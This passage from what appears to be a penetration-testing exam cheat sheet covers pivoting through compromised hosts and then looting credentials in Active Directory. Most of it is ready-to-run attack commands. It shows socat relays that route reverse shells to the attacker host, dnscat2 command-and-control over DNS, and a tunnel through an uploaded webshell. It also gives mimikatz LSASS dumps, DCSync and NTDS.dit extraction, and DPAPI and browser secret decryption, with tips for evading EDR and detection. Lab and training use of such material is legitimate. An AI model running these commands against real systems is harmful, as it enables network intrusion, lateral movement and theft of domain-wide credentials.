proxy. 421 422 ```bash 423 # /etc/proxychains4.conf → [ProxyList] socks5 127.0.0.1 1080 (proxy_dns, quiet_mode) 424 proxychains4 nmap -sT -Pn -n -p 445,3389,5985 10.10.10.0/24 425 proxychains4 wmiexec.py "$DOMAIN/$U:$P@10.10.10.100" 426 proxychains4 evil-winrm -i 10.10.10.100 -u "$U" -p "$P" 427 proxychains4 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user krbtgt 428 # Chain two SOCKS proxies (double pivot without ligolo): 429 # [ProxyList] 430 # socks5 127.0.0.1 1080 431 # socks5 127.0.0.1 1081 432 ``` 433 434 > [!warning] Watch out 435 > SOCKS is **TCP only** — nmap must be `-sT -Pn` (no ICMP, no SYN). **UDP dies** through proxychains: that kills DNS unless `proxy_dns` is set (and even then it's slow), and it kills pure-UDP tools entirely. `nmap --dns-servers $DC` still won't fix UDP under SOCKS5 — prefer IP literals and `/etc/hosts` entries, or use Ligolo when name resolution matters. Static binaries only: proxychains hooks libc, so Go binaries and some .NET tools ignore it. Prefer **Ligolo** when I want raw L3 (full nmap, no proxychains). Full tables in Tunneling. 436 437 <figure class="flow plate corners"> 438 <figcaption class="flow__cap"><span class="flow__kind">Ligolo double-pivot topology</span><span class="flow__dir">LR</span></figcaption> 439 <div class="flow__body"> 440 <svg class="flow-svg" viewBox="0 0 975 340" role="img" aria-label="Attack host and two ligolo pivots reaching deep targets, with agent callbacks, a listener relay, tunnel interfaces and a reverse shell routing back to the attack host"> 441 <path class="fedge" d="M185,154 L283,154" marker-end="url(#flow-arrow)" /> 442 <path class="fedge" d="M685,154 L783,104" marker-end="url(#flow-arrow)" /> 443 <path class="fedge" d="M685,154 L783,224" marker-end="url(#flow-arrow)" /> 444 <path class="fedge is-back" d="M350,130 L350,95 L110,95 L110,128" marker-end="url(#flow-arrow)" /> 445 <path class="fedge is-back" d="M610,130 L610,60 L370,60 L370,128" marker-end="url(#flow-arrow)" /> 446 <path class="fedge is-dotted" d="M95,178 L95,205 L360,205 L360,180" marker-end="url(#flow-arrow)" /> 447 <path class="fedge is-dotted" d="M110,178 L110,240 L610,240 L610,180" marker-end="url(#flow-arrow)" /> 448 <path class="fedge is-back is-dotted" d="M860,248 L860,290 L125,290 L125,180" marker-end="url(#flow-arrow)" /> 449 <g class="fnode is-entry"><rect class="fnode__box" x="35" y="130" width="150" height="48" /><text class="fnode__label" x="110" y="151" text-anchor="middle">Attack host<tspan class="sub" x="110" dy="15">ligolo-proxy :11601</tspan></text></g> 450 <g class="fnode"><rect class="fnode__box" x="285" y="130" width="150" height="48" /><text class="fnode__label" x="360" y="151" text-anchor="middle">Pivot 1 — DMZ web<tspan class="sub" x="360" dy="15">172.16.10.10</tspan></text></g> 451 <g class="fnode"><rect class="fnode__box" x="535" y="130" width="150" height="48" /><text class="fnode__label" x="610" y="151" text-anchor="middle">Pivot 2 — app tier<tspan class="sub" x="610" dy="15">10.20.30.5</tspan></text></g> 452 <g class="fnode"><rect class="fnode__box" x="785" y="80" width="150" height="48" /><text class="fnode__label" x="860" y="101" text-anchor="middle">Deep target<tspan class="sub" x="860" dy="15">10.20.30.20</tspan></text></g> 453 <g class="fnode"><rect class="fnode__box" x="785" y="200" width="150" height="48" /><text class="fnode__label" x="860" y="221" text-anchor="middle">Deep DC<tspan class="sub" x="860" dy="15">10.20.30.10</tspan></text></g> 454 <g class="felabel"><rect class="felabel__box" x="181" y="146" width="106" height="16" /><text class="felabel__text" x="234" y="157" text-anchor="middle">agent dials back</text></g> 455 <g class="felabel"><rect class="felabel__box" x="156" y="87" width="148" height="16" /><text class="felabel__text" x="230" y="98" text-anchor="middle">listener :4444 relay</text></g> 456 <g class="felabel"><rect class="felabel__box" x="383" y="52" width="214" height="16" /><text class="felabel__text" x="490" y="63" text-anchor="middle">agent 2 dials 172.16.10.10:4444</text></g> 457 <g class="felabel"><rect class="felabel__box" x="128" y="197" width="200" height="16" /><text class="felabel__text" x="228" y="208" text-anchor="middle">iface ligolo: 172.16.10.0/24</text></g> 458 <g class="felabel"><rect class="felabel__box" x="257" y="232" width="206" height="16" /><text class="felabel__text" x="360" y="243" text-anchor="middle">iface ligolo2: 10.20.30.0/24</text></g> 459 <g class="felabel"><rect class="felabel__box" x="395" y="275" width="196" height="30" /><text class="felabel__text" x="493" y="286" text-anchor="middle">reverse shell → pivot2:5555<tspan x="493" dy="15">→ listener → my nc :4444</tspan></text></g> 460 </svg> 461 </div> 462 </figure> 463 464 --- 465 466 ### 🌉 More Tunnels — SSH fwds · sshuttle · socat · plink · meterpreter · netsh · dnscat2 · webshell tunnels 467 468 Ligolo/chisel (above) are my 90% case. These are the ones the exam actually tests and the ones I fall back to when there's no ligolo binary on the box, no SSH creds, or egress is choked. Throughout, `$LHOST` = my attack host, `$IP` = the **pivot's** lab-facing IP, and `172.16.5.x` = an internal host only the pivot routes to. 469 470 #### SSH port forwarding — `-L` / `-D` / `-R` (the exam classic) 471 472 **What to look for** → I've got SSH creds on a **dual-homed** pivot: a service bound to *its* localhost (MySQL 3306, an admin panel), or a whole internal subnet only the pivot can reach. `ip a` on the pivot shows a second NIC (e.g. `ens224 → 172.16.5.0/23`). 473 474 **Enumerate** 475 ```bash 476 nmap -sT -p22,3306 $IP # 22 open, 3306 "closed" == MySQL bound to the pivot's own loopback 477 ssh ubuntu@$IP 'ip -br a' # confirm the second NIC + internal subnet 478 ``` 479 480 **Exploit / Attack** 481 ```bash 482 # -L LOCAL → reach ONE remote-side service via a local port ("localhost" = the PIVOT's loopback) 483 ssh -L 1234:localhost:3306 ubuntu@$IP 484 ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@$IP # stack -L for several 485 netstat -antp | grep 1234 && nmap -sV -p1234 localhost # verify the forward is live 486 487 # -D DYNAMIC → full SOCKS into everything the pivot can route to 488 ssh -D 9050 ubuntu@$IP # then: socks4 127.0.0.1 9050 in /etc/proxychains.conf 489 proxychains nmap -sT -Pn 172.16.5.19 490 proxychains xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123' 491 492 # -R REVERSE → pivot listens & forwards a callback home (target can't reach me directly) 493 # bring the forward UP on the pivot BEFORE firing the payload: 494 ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@$IP -vN 495 # msfvenom payload LHOST=<pivot-internal-ip> LPORT=8080 → handler on my :8000 496 497 # -J JUMP → multi-hop in one command (ProxyJump) 498 ssh -J ubuntu@$IP admin@172.16.5.10 499 scp -J ubuntu@$IP ./loot.zip admin@172.16.5.10:/tmp/ 500 # persistent config form (~/.ssh/config): 501 # Host deepbox 502 # HostName 172.16.5.10 503 # User admin 504 # ProxyJump ubuntu@<pivot-ip> 505 # DynamicForward 9050 506 ``` 507 508 > [!warning] Watch out 509 > `localhost` inside `-L` means the **pivot's** loopback, not mine — the single most-misread SSH-forward detail. Proxychains is **TCP-connect only**: `-sT -Pn` always, never SYN, and unauth ICMP sweeps die silently against Windows (Defender drops ping). `-R` must be up **before** the payload runs; the resulting Meterpreter session shows the client as `127.0.0.1` because it arrives over the local SSH socket. Tunnels die with the `ssh` process — wrap in `autossh -M 0 -N -D 9050 ...` for a long engagement. `-R` binding to a non-loopback address on the pivot needs `GatewayPorts yes` in its sshd_config — otherwise the reverse forward only listens on the pivot's localhost. Walkthrough: 2 - SSH Port Forwarding & Dynamic SOCKS Proxying. 510 511 #### sshuttle — SSH pivot with **zero proxychains prefix** 512 513 [sshuttle](https://github.com/sshuttle/sshuttle) builds a poor-man's VPN over a plain SSH session. 514 515 **What to look for** → plain SSH creds on the pivot and I want every tool (real SYN nmap, `-A`, whatever) to "just work" against the internal subnet without a `proxychains` wrapper. I have root on my own box. 516 517 **Exploit / Attack** 518 ```bash 519 sudo sshuttle -r ubuntu@$IP 172.16.5.0/23 -v # installs iptables NAT on MY host, redirects the subnet 520 nmap -sV -p3389 172.16.5.19 -Pn # no proxychains — real scans work directly 521 sudo sshuttle -r ubuntu@$IP 0.0.0.0/0 # tunnel *everything* (careful — routes all my traffic) 522 sudo sshuttle -r ubuntu@$IP 172.16.5.0/23 --dns # also capture DNS (queries resolve via pivot) 523 ``` 524 525 > [!warning] Watch out 526 > Needs **root on the attack host** (it writes iptables NAT) and **python on the pivot**. Only does **plain SSH** — no TOR / HTTP-proxy chaining like proxychains. Perfect for a single SSH pivot; reach back to `-D` + proxychains when the pivot *chain* itself needs flexibility. Deck: 5 - SSH for Windows, Sshuttle & Rpivot. 527 528 #### socat — bidirectional relay (no SSH, no creds) 529 530 [socat](http://www.dest-unreach.org/socat/) just glues two sockets together and relays. 531 532 **What to look for** → foothold is a webshell / limited RCE — **no SSH creds**, but I can drop and run a binary. 533 534 **Exploit / Attack** 535 ```bash 536 # Redirect an inbound REVERSE shell on to my listener — run ON THE PIVOT: 537 socat TCP4-LISTEN:8080,fork TCP4:$LHOST:80 538 # payload LHOST=<pivot-ip> LPORT=8080 → my handler on :80 539 540 # Redirect out to a BIND shell sitting on an internal target — run ON THE PIVOT: 541 socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443 542 # msf bind handler: set RHOST <pivot-ip> ; set LPORT 8080 (socat completes the hop) 543 ``` 544 545 > [!warning] Watch out 546 > `fork` is **mandatory** for more than one connection — omit it and the relay dies after the first. Direction flips with shell type: reverse-shell relay sits between target→my-listener; bind-shell relay sits between my-handler→target. No SSH/creds needed, only the ability to execute the binary — ideal off a webshell. `ncat --sh-exec` covers simpler cases if socat's missing. Deck: 4 - Socat Redirection. 547 548 #### plink.exe — `ssh -D` from a **Windows** foothold 549 550 **What to look for** → I'm operating from a Windows box (my engagement host, or a compromised Windows I'm living-off-the-land on) and PuTTY/plink is present or dropable. Same intent as `ssh -D`, but from CMD. 551 552 **Exploit / Attack** 553 ```batch 554 plink -ssh -D 9050 ubuntu@<pivot-ip> 555 :: point Proxifier at SOCKS4 127.0.0.1:9050 → tunnels mstsc.exe / any GUI app through the SOCKS listener 556 ``` 557 558 > [!warning] Watch out 559 > GUI apps (`mstsc.exe`) can't read proxychains — that's why **Proxifier** exists: configure a SOCKS4 profile for `127.0.0.1:9050` and it transparently proxies the app. Modern Windows ships native OpenSSH (`ssh -D` works too) — plink only wins when the SSH client is absent but PuTTY's already installed. Deck: 5 - SSH for Windows, Sshuttle & Rpivot. 560 561 #### Meterpreter — `autoroute` + `socks_proxy` + `portfwd` 562 563 From [Metasploit](https://github.com/rapid7/metasploit-framework). **What to look for** → I already have a **Meterpreter session** on the pivot. No SSH creds needed at all — MSF pivots through the session itself. 564 565 **Enumerate** (sweep behind it) 566 ```bash 567 meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23 568 # ICMP filtered? loop on the pivot instead: 569 for i in $(seq 1 254); do (ping -c1 172.16.5.$i | grep "bytes from" &); done 570 ``` 571 572 **Exploit / Attack** 573 ```bash 574 # autoroute — add the subnet to MSF's routing table (through session 1) 575 meterpreter > run autoroute -s 172.16.5.0/23 576 meterpreter > run autoroute -p # print active routes 577 # non-deprecated post-module form: 578 msf6 > use post/multi/manage/autoroute 579 msf6 post(multi/manage/autoroute) > set SESSION 1; set SUBNET 172.16.5.0; run 580 581 # socks_proxy — expose a SOCKS listener backed by those routes → proxychains 582 msf6 > use auxiliary/server/socks_proxy 583 msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050; set SRVHOST 0.0.0.0; set version 4a; run 584 # /etc/proxychains.conf: socks4 127.0.0.1 9050 585 proxychains nmap -sT -Pn -p3389 172.16.5.19 586 587 # portfwd — direct relay for a single service (no proxychains needed) 588 meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19 # local :3300 → target:3389 589 xfreerdp /v:localhost:3300 /u:victor /p:'pass@123' 590 meterpreter > portfwd add -R -l 8081 -p 1234 -L $LHOST # reverse: pivot listens :1234 → me:8081 591 ``` 592 593 > [!warning] Watch out 594 > `portfwd` `-l`/`-L` **swap meaning** when `-R` is set — forward: my host listens on `-l`, relays to `-r:-p`; reverse: the pivot listens on `-p`, delivers to `-L:-l`. Easiest `portfwd` detail to get backwards. Bare `run autoroute` is deprecated — MSF's own output points you at `post/multi/manage/autoroute`. First ping sweep **under-reports** while ARP caches build — run it twice before trusting "host down". MSF's routing table only serves MSF modules and the socks_proxy auxiliary — it does **not** route my OS traffic; that's what the SOCKS listener is for. Deck: 3 - Meterpreter Tunneling & Port Forwarding. 595 596 #### netsh portproxy — Windows-native, drops no binary 597 598 **What to look for** → compromised Windows **workstation** (phish/social-eng foothold), locked down enough that I'd rather not drop a tunnelling binary. `netsh interface portproxy` is built in. 599 600 **Exploit / Attack** 601 ```batch 602 :: workstation listens on :8080 and forwards to internal RDP (needs admin + IP Helper svc) 603 netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25 604 netsh.exe interface portproxy show v4tov4 :: verify the rule took 605 netsh.exe interface portproxy delete v4tov4 listenport=8080 listenaddress=10.129.15.150 :: CLEANUP after 606 ``` 607 ```bash 608 xfreerdp /v:10.129.15.150:8080 /u:victor /p:'pass@123' # from my box → the workstation's listen port 609 ``` 610 611 > [!warning] Watch out 612 > The rule is **persistent across reboots** — it survives until you `delete` it, and `show v4tov4` is exactly how a defender/auditor finds your forward, so clean up. Needs **admin** and the **IP Helper (`iphlpsvc`)** service running. It's a single static forward, **not** a SOCKS proxy — one rule per internal service. Deck: 6 - Windows Netsh Port Forwarding & DNS Tunneling with Dnscat2. 613 614 #### dnscat2 — encrypted C2 over DNS (last-resort egress) 615 616 [dnscat2](https://github.com/iagox86/dnscat2) tunnels an encrypted session inside DNS queries. **What to look for** → egress is choked: HTTP/HTTPS filtered or DPI-inspected, but **DNS resolves outbound** (it almost always does). Firewalls that strip HTTPS rarely scrutinise DNS. ([T1071.004](https://attack.mitre.org/techniques/T1071/004/)) 617 618 **Exploit / Attack** 619 ```bash 620 # Attacker — DNS C2 server (needs UDP/53 free; run as root). Prints a per-session PSK to reuse: 621 sudo ruby dnscat2.rb --dns host=$LHOST,port=53,domain=inlanefreight.local --no-cache 622 ``` 623 ```powershell 624 # Windows target — dnscat2-powershell client (transfer dnscat2.ps1 first): 625 Import-Module .\dnscat2.ps1 626 Start-Dnscat2 -DNSserver $LHOST -Domain inlanefreight.local -PreSharedSecret <secret> -Exec cmd 627 ``` 628 ```text 629 dnscat2> window -i 1 # drop into the interactive shell session on the server side 630 ``` 631 632 > [!warning] Watch out 633 > Needs **UDP/53 reachable to my server**, and the **PSK must match both ends** — it's what keeps the tunnel encrypted+authenticated; without it anyone watching the DNS traffic can hijack the session. It's **slow, low-bandwidth** — a shell, not a file pipe — and loud in DNS logs (long TXT queries hammering one domain). Want full IP-over-DNS instead of a shell? [iodine](https://github.com/yarrick/iodine). Deck: 6 - Windows Netsh Port Forwarding & DNS Tunneling with Dnscat2. 634 635 #### reGeorg / Neo-reGeorg — tunnelling *through the webshell itself* 636 637 When the only thing I have is a webshell on a DMZ web server (no SSH, no binary execution, strict egress), the tunnel rides **inside HTTP requests to the webshell**. Upload the tunnel webshell (matching the server's language), run the client on my box, get SOCKS through HTTP. 638 639 - [reGeorg](https://github.com/sensepost/reGeorg) — the classic (Python 2, aspx/ashx/jsp/php shells). 640 - [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) — the maintained fork: Python 3 client, more server languages, encrypted traffic, better performance. Use this one. 641 642 ```bash 643 # 1. Upload tunnel.<aspx|jsp|php> via my existing webshell/file-upload primitive 644 # 2. Client on my box: 645 python3 neoreg.py generate -k <password> # builds the webshell files with my key 646 python3 neoreg.py -k <password> -u http://$IP/uploads/tunnel.aspx -p 1080 647 # 3. SOCKS5 on 127.0.0.1:1080 → proxychains as usual 648 proxychains4 curl http://172.16.5.10/ 649 ``` 650 651 > [!warning] Watch out 652 > Every request is an HTTP POST to the webshell URL — visible and repetitive in the web server logs (IIS `C:\inetpub\logs\LogFiles\W3SVC*\`), and throughput is modest. Match the webshell extension to the server tech (`aspx` on IIS, `jsp` on Tomcat) or it 404s/500s instantly. The webshell file itself is dropped evidence — remove it at cleanup. Pairs naturally with the vault's staged webshells ([nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))) when I need the initial execution primitive. 653 654 > [!note] Which tunnel when — the decision I make at the pivot 655 > - **SSH creds + dual-homed Linux pivot** → `ssh -D` + proxychains (one service → `-L`; callback home → `-R`); or **sshuttle** for zero-prefix tooling if I have root locally. 656 > - **No SSH, but I can run a binary** (webshell/RCE) → **socat** relay; or **chisel**/**ligolo** for full SOCKS/L3 (already covered above). 657 > - **Only HTTP to a webshell, no exec** → **Neo-reGeorg** (SOCKS through the shell itself). 658 > - **Already have a Meterpreter session** → its built-in `autoroute` + `socks_proxy` + `portfwd` — no SSH creds required. 659 > - **Operating from Windows / LOLbin-only** → **plink -D** (+ Proxifier) or **netsh portproxy** (native, drops nothing). 660 > - **Pivot can't accept inbound but can dial out** → reverse SOCKS: **chisel** `R:socks` (above) or rpivot (Py2, legacy). 661 > - **Everything blocked except DNS** → **dnscat2** — last resort, low-bandwidth C2. 662 > - **Want raw L3 + full SYN nmap, no proxychains** → **ligolo-ng** (above). Full comparison tables in Tunneling · Pivoting and Tunnelling. 663 664 --- 665 666 ### 🔎 Recon behind the pivot — fscan 667 668 **What to look for** → once you have a Ligolo/chisel route into an internal subnet, proxychains-nmap is painfully slow. Drop a single static binary on the pivot and let it sweep host discovery + ports + quick-wins (MS17-010, Redis, open shares) in one shot. 669 670 > [!tools] Stage this 671 > [fscan](https://github.com/shadow1ng/fscan) — internal all-in-one scanner (host discovery, ports, service probes, weak-password checks, MS17-010). 672 > 673 > [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc)) 674 675 ```bash 676 ./fscan -h 172.16.10.0/24 # full sweep of the internal /24 677 ./fscan -h 172.16.10.5 -p 1-65535 # single host, all ports 678 ./fscan -h 172.16.10.0/24 -np -no -nopoc # skip ping, save nothing, no POC checks (quieter) 679 ./fscan -h 172.16.10.0/24 -o fscan_out.txt # results to file → exfil via the same tunnel 680 ``` 681 > [!warning] Watch out 682 > fscan's MS17-010 check can **BSOD** the target and is flagged by every modern EDR — on a lab it's fine, but know it's loud. `-nopoc` disables the exploit checks and leaves pure scanning. Prefer it for discovery, then hand the interesting hosts back to targeted tools. Deep dive: fscan. 683 684 --- 685 686 --- 687 688 ### 🔬 NSE Service Triage Through a SOCKS Pivot 689 690 **What to look for** → after `fscan` gives you the live internal hosts, run targeted NSE scripts through the proxy for the detail. **The SOCKS constraint matters:** raw SYN (`-sS`), ICMP host-discovery, and most UDP do **not** traverse a SOCKS proxy — proxychains-nmap must be TCP-connect + no-ping. 691 692 ```bash 693 # always: -sT (connect) -Pn (no ping) through proxychains 694 proxychains nmap -sT -Pn -p445 --script smb2-security-mode,smb2-capabilities,smb-os-discovery $IP # 445: also flags signing=off relay targets 695 proxychains nmap -sT -Pn -p3389 --script rdp-ntlm-info,rdp-enum-encryption $IP # 3389 696 proxychains nmap -sT -Pn -p111,2049 --script nfs-showmount,nfs-ls,nfs-statfs $IP # NFS 697 proxychains nmap -sT -Pn -p993,995 --script ssl-cert,ssl-enum-ciphers $IP # implicit TLS 698 proxychains nmap -sT -Pn -p80,8080 --script http-title,http-headers,http-methods,http-enum $IP # web 699 ``` 700 > [!tip] `fscan` is the fast sweep; this is the documented NSE follow-up an assessor expects. Deep dive: Internal Network Nmap Triage - 2026-08-26. 701 702 ### 🧵 SSH & socat Forwarding — the reference matrix 703 704 When ligolo/chisel aren't an option (no upload, or you only have SSH creds), native SSH does most pivoting. The mental model: **-L brings a remote port to me, -R pushes my port to them, -D is a dynamic SOCKS.** Deep dives: Tunneling · Socat-Cheatsheet. 705 706 | Goal | Command | Then use | 707 | :-- | :-- | :-- | 708 | Reach an internal service through the pivot | `ssh -N -L 8080:172.16.5.10:80 user@$IP` | `curl 127.0.0.1:8080` | 709 | Pivot can't reach me → push a port to it | `ssh -N -R 445:127.0.0.1:445 user@$IP` | target hits `pivot:445` | 710 | SOCKS through the pivot (scan whole subnet) | `ssh -N -D 1080 user@$IP` | `proxychains nmap -sT -Pn …` | 711 | Multi-hop in one line (jump host) | `ssh -J user@$IP user2@172.16.5.10` | lands on the deep host | 712 | Background + keepalive | `ssh -fN -o ServerAliveInterval=30 -D 9050 user@$IP` | tunnel survives idle | 713 | Add `-f` background, `-g` share the local bind on the LAN | | | 714 715 ```bash 716 # socat relay — expose an internal host's port on the pivot (when you can't SSH) 717 socat TCP-LISTEN:8080,fork,reuseaddr TCP:172.16.5.10:80 # on the pivot → hit pivot:8080 718 # socat reverse relay — bounce a callback through the pivot back to me 719 socat TCP-LISTEN:4444,fork TCP:$LHOST:4444 # target → pivot:4444 → my :4444 720 # TLS-wrapped relay (evades plaintext inspection on the hop) 721 socat OPENSSL-LISTEN:443,cert=s.pem,verify=0,fork TCP:127.0.0.1:4444 722 ``` 723 > [!tip] Chain hops: `ssh -D 1080` to hop 1, then from hop 1 `ssh -D 1081` to hop 2, and stack SOCKS in `proxychains.conf` (top = first hop). Through **any** SOCKS: nmap must be `-sT -Pn` — raw SYN/ICMP/UDP don't traverse it. `~C` inside a live SSH session opens a console to add `-L`/`-R` forwards without reconnecting. 724 725 --- 726 727 ### 🩸 Step 4 — Loot (credential extraction) 728 729 Loot doctrine: **every box I touch is a credential source, and every credential re-enters the funnel** — Stage 08 ([11 - Stage 08 - Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting)) for cracking, Stage 06 ([09 - Stage 06 - ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse)) for the rights those new accounts hold. Loot, re-spray, re-enumerate. 730 731 #### Mimikatz — LSASS, PtH, tickets, DCSync (on-host) 732 733 ```text 734 privilege::debug 735 sekurlsa::logonpasswords # MSV/WDigest/Kerberos material from logon sessions 736 sekurlsa::ekeys # AES keys (for overpass-the-hash / -k) 737 sekurlsa::tickets /export # .kirbi for Rubeus ptt / kerberos::ptt 738 sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:<NThash> /run:cmd.exe 739 lsadump::sam # local SAM 740 lsadump::dcsync /domain:$DOMAIN /user:krbtgt # DCSync from a DA session 741 ``` 742 743 > [!warning] Watch out 744 > `privilege::debug` must return **OK** first (needs high-integrity + `SeDebugPrivilege`). Credential Guard / no-WDigest = empty cleartext; grab NT hashes or tickets instead. x64 mimikatz on x64 Windows. If EDR eats the binary, fall back to `nxc --sam/--lsa` or secretsdump — or [nanodump](https://github.com/fortra/nanodump)/[pypykatz](https://github.com/skelsec/pypykatz)/[lsassy](https://github.com/login-securite/lsassy) for a lower-signature LSASS read. Deck: Mimikatz-Cheatsheet. 745 746 #### Impacket secretsdump — remote SAM/LSA, DCSync, offline 747 748 ```bash 749 # Remote SAM + LSA + cached creds (local admin on the box) 750 secretsdump.py "$DOMAIN/Administrator:$P@$IP" 751 secretsdump.py "$DOMAIN/Administrator@$IP" -hashes ":$H" # PtH 752 753 # DCSync (replication rights) — single user is the stealthy default 754 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user krbtgt 755 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user Administrator 756 secretsdump.py "$DOMAIN/Administrator@$DC" -hashes ":$H" -just-dc-ntlm -outputfile domain_hashes 757 export KRB5CCNAME=./administrator.ccache 758 secretsdump.py -k -no-pass "$DOMAIN/Administrator@$DC" -just-dc # NT + Kerberos + cleartext 759 760 # Offline from copied hives 761 secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL 762 ``` 763 ```bash 764 # nxc equivalents 765 nxc smb $DC -u Administrator -p "$P" --ntds drsuapi # DCSync 766 nxc smb $IP -u Administrator -p "$P" --sam --lsa 767 ``` 768 769 > [!warning] Watch out 770 > `-just-dc-ntlm` gives NT only — use **`-just-dc`** (no `-ntlm`) for NT **+ AES keys + cleartext**. `-just-dc` needs **both** replication ACEs (Get-Changes **and** Get-Changes-All) — DA, EA, DCs, and anyone granted the rights via [Stage 06 ACL abuse](/sheets/pentest-workflow/acl-and-object-abuse) qualify. `0 hashes` back = wrong domain FQDN (`$DOMAIN`, not the NetBIOS name) or user typo. DCSync fires Event **4662** on the DC from a non-DC account. Full playbook: 🔵 Attack. 771 772 #### Domain-wide harvest — DCSync as the endgame 773 774 Once I have replication rights, DCSync ([T1003.006](https://attack.mitre.org/techniques/T1003/006/)) is the crown-jewel move: it asks a DC to "replicate" password data to me. No code runs on the DC, no files touch it — just DRSUAPI RPC, which is what real DCs do all day. 775 776 ```bash 777 # impacket (remote, my box): 778 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-ntlm -outputfile dcsync_ntlm 779 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc-user "$DOMAIN\krbtgt" 780 # nxc: 781 nxc smb $DC -u Administrator -p "$P" --ntds drsuapi 782 nxc smb $DC -u Administrator -p "$P" --ntds --user krbtgt # single user 783 # mimikatz (from a DA session on any domain box): 784 # lsadump::dcsync /domain:$DOMAIN /all /csv 785 # lsadump::dcsync /domain:$DOMAIN /user:krbtgt 786 ``` 787 788 > [!warning] Watch out 789 > Rights needed: **Replicating Directory Changes** + **Replicating Directory Changes All** on the domain object (DA/EA hold both). Detection: **4662** (operation: Replication Get Changes All, from a non-DC account) — the classic Sigma/DCSync detection — plus network IDS watching DRSUAPI from non-DC IPs. Prefer `-just-dc-user` targeting (krbtgt, then DA accounts) over a full dump in monitored environments. 790 791 #### NTDS.dit — when DCSync is blocked 792 793 **On the DC** (local admin/SYSTEM) — copy the locked DB via shadow copy, grab SYSTEM hive: 794 ```powershell 795 vssadmin create shadow /for=C: 796 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit 797 reg save HKLM\SYSTEM C:\Temp\SYSTEM 798 vssadmin delete shadows /shadow={shadow-id} /quiet 799 ``` 800 **Remote / offline** 801 ```bash 802 secretsdump.py "$DOMAIN/Administrator:$P@$DC" -just-dc -outputfile domain_dump # remote via DRSUAPI 803 nxc smb $DC -u Administrator -p "$P" --ntds vss # remote via VSS 804 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile parsed_hashes # parse exfil'd files 805 # ntdsutil IFM alternative on the DC (creates a clean install media set): 806 # ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ifm" q q 807 ``` 808 809 > [!warning] Watch out 810 > Can't `copy` the live `ntds.dit` — it's locked (`ERROR_SHARING_VIOLATION`); must use **VSS / ntdsutil IFM / esentutl /y /vss**. Offline parse: the `SYSTEM` hive **must be from the same DC** as the .dit (different Boot Keys) or you get garbage. `vssadmin` fires Event 8222 + 4688 — `diskshadow` is quieter. Prefer DCSync; only touch the file when RPC replication is blocked. Detail: 🔵 Attack. 811 812 #### DPAPI — masterkeys, saved creds, browser secrets 813 814 DPAPI ([T1555.004](https://attack.mitre.org/techniques/T1555/004/)) protects every "saved password" on Windows — RDP saved creds, scheduled-task passwords, Chrome/Edge logins, WiFi keys, vaults. Two unlock paths: per-user masterkeys (decrypt with the user's password/hash/SID), or the **domain DPAPI backup key** (from a DC, decrypts *any* domain user's masterkey). 815 816 > [!tools] Stage this 817 > [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) — GhostPack DPAPI toolkit: masterkey triage, blob decryption, Chrome/vault/SCCM extraction. 818 > 819 > [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc)) 820 821 ```bash 822 nxc smb $IP -u "$U" -p "$P" --dpapi # decrypt saved creds/secrets 823 nxc smb $IP -u "$U" -p "$P" --dpapi cookies # browser cookies 824 nxc smb $IP -u "$U" -p "$P" --sam --lsa --dpapi # one-shot everything 825 # Manual masterkey → credential blob chain: 826 impacket-dpapi masterkey -file masterkey -sid <SID> -password "$P" 827 impacket-dpapi credential -file <cred_blob> -key <decrypted_masterkey> 828 ``` 829 ```text 830 :: SharpDPAPI on-host: 831 SharpDPAPI.exe masterkeys /target:C:\Users\*\AppData\Roaming\Microsoft\Protect\* /password:"$P" 832 SharpDPAPI.exe credentials /password:"$P" :: decrypt Credential blobs with masterkeys 833 SharpDPAPI.exe vaults /password:"$P" :: Windows Vault entries 834 SharpDPAPI.exe chrome /password:"$P" :: Chrome logins + cookies 835 SharpDPAPI.exe sccm :: SCCM NAA creds (if the box is an SCCM client) 836 :: DOMAIN backup key path (needs DA — grab the PVK once, decrypt everywhere, forever): 837 SharpDPAPI.exe backupkey /server:$DC /file:dpapi_backup.pvk 838 SharpDPAPI.exe masterkeys /pvk:dpapi_backup.pvk /target:C:\Users\victim\...\Protect\{GUID} 839 ``` 840 841 > [!tip] Pro-move 842 > DPAPI is where the loot the user thought was "saved safely" lives — RDP creds, scheduled-task passwords, WiFi, Chrome logins. Always run `--dpapi` on a `(Pwn3d!)` box; it often hands you the next hop's password in cleartext. The **backupkey PVK** is a stealthy, reboot-surviving domain secret: one grab as DA, then offline decryption of any domain user's DPAPI blobs without touching a DC again. Detection: LSASS/DC RPC access + 4662 on `secret` attributes isn't the tell here — watch for mass reads of `...\Microsoft\Protect\` (Sysmon 11 / 4663). 843 844 #### Browser creds & LaZagne — the 